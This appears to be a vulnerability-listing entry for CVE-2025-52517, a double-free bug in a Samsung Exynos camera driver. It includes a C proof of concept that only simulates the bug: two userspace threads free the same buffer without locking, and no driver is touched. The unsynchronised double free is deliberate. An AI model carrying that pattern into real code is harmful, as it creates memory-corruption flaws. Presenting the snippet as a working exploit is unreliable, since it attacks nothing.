CVE-2025-52517 Samsung Exynos处理器issimian驱动双重释放拒绝服务漏洞

// CVE-2025-52517 PoC - Race Condition Trigger for Double Free // This PoC demonstrates the concept of triggering a race condition // Note: Actual exploitation requires device-specific access and kernel debugging #include <stdio.h> #include <pthread.h> #include <unistd.h> // Simulated issimian driver structure typedef struct { void* buffer; int ref_count; pthread_mutex_t lock; } issimian_dev_t; issimian_dev_t dev = {0}; void* thread_race_condition(void* arg) { // Thread 1: Attempts to free buffer printf("[Thread 1] Attempting to trigger race condition...\n"); // Missing proper locking causes race condition if (dev.buffer != NULL) { // Simulate delayed operation creating race window usleep(100); free(dev.buffer); dev.buffer = NULL; } return NULL; } void* thread_double_free(void* arg) { // Thread 2: May trigger double free in race window printf("[Thread 2] Triggering potential double free...\n"); // Race condition: No synchronization with thread 1 if (dev.buffer != NULL) { free(dev.buffer); dev.buffer = NULL; } return NULL; } int main() { pthread_t t1, t2; // Initialize device structure dev.buffer = malloc(1024); pthread_mutex_init(&dev.lock, NULL); printf("CVE-2025-52517 - Samsung issimian driver double free PoC\n"); printf("Target: Exynos processors with issimian camera driver\n\n"); // Create racing threads pthread_create(&t1, NULL, thread_race_condition, NULL); usleep(50); // Small delay to increase race window probability pthread_create(&t2, NULL, thread_double_free, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("\nRace condition test completed.\n"); printf("Note: Actual exploitation requires kernel module access.\n"); pthread_mutex_destroy(&dev.lock); return 0; }